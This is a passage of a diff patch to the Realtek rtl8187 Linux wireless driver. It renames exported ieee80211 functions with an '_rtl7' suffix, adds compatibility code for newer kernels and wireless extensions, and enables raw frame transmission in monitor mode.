ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-08-12 13:11:33.000000000 -0400 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-08-12 14:23:46.000000000 -0400 @@ -40,8 +40,9 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, - char *start, char *stop, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, + char *start, char *stop, struct ieee80211_network *network) { char custom[MAX_CUSTOM_LEN]; @@ -54,7 +55,11 @@ iwe.cmd = SIOCGIWAP; iwe.u.ap_addr.sa_family = ARPHRD_ETHER; memcpy(iwe.u.ap_addr.sa_data, network->bssid, ETH_ALEN); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_ADDR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_ADDR_LEN); +#endif /* Remaining entries will be displayed in the order we provide them */ @@ -63,16 +68,28 @@ iwe.u.data.flags = 1; if (network->flags & NETWORK_EMPTY_ESSID) { iwe.u.data.length = sizeof(""); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, ""); +#else start = iwe_stream_add_point(start, stop, &iwe, ""); +#endif } else { iwe.u.data.length = min(network->ssid_len, (u8)32); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif } /* Add the protocol name */ iwe.cmd = SIOCGIWNAME; snprintf(iwe.u.name, IFNAMSIZ, "IEEE 802.11%s", ieee80211_modes[network->mode]); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_CHAR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_CHAR_LEN); +#endif /* Add mode */ iwe.cmd = SIOCGIWMODE; @@ -83,8 +100,13 @@ else iwe.u.mode = IW_MODE_ADHOC; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_UINT_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_UINT_LEN); +#endif } /* Add frequency/channel */ @@ -94,7 +116,11 @@ iwe.u.freq.m = network->channel; iwe.u.freq.e = 0; iwe.u.freq.i = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_FREQ_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_FREQ_LEN); +#endif /* Add encryption capability */ iwe.cmd = SIOCGIWENCODE; @@ -103,7 +129,11 @@ else iwe.u.data.flags = IW_ENCODE_DISABLED; iwe.u.data.length = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif /* Add basic and extended rates */ max_rate = 0; @@ -132,13 +162,22 @@ iwe.cmd = SIOCGIWRATE; iwe.u.bitrate.fixed = iwe.u.bitrate.disabled = 0; iwe.u.bitrate.value = max_rate * 500000; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_PARAM_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_PARAM_LEN); +#endif iwe.cmd = IWEVCUSTOM; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif /* Add quality statistics */ /* TODO: Fix these values... */ @@ -154,14 +193,22 @@ if (!(network->stats.mask & IEEE80211_STATMASK_SIGNAL)) iwe.u.qual.updated |= IW_QUAL_QUAL_INVALID; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_QUAL_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_QUAL_LEN); +#endif iwe.cmd = IWEVCUSTOM; p = custom; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif if (ieee->wpa_enabled && network->wpa_ie_len){ char buf[MAX_WPA_IE_LEN * 2 + 30]; @@ -175,7 +222,12 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif + } if (ieee->wpa_enabled && network->rsn_ie_len){ @@ -190,7 +242,11 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif } /* Add EXTRA: Age to display seconds since last beacon/probe response @@ -201,13 +257,17 @@ " Last beacon: %lums ago", (jiffies - network->last_scanned) / (HZ / 100)); iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +280,15 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, info, ev, +stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +309,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +321,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +346,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +356,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - 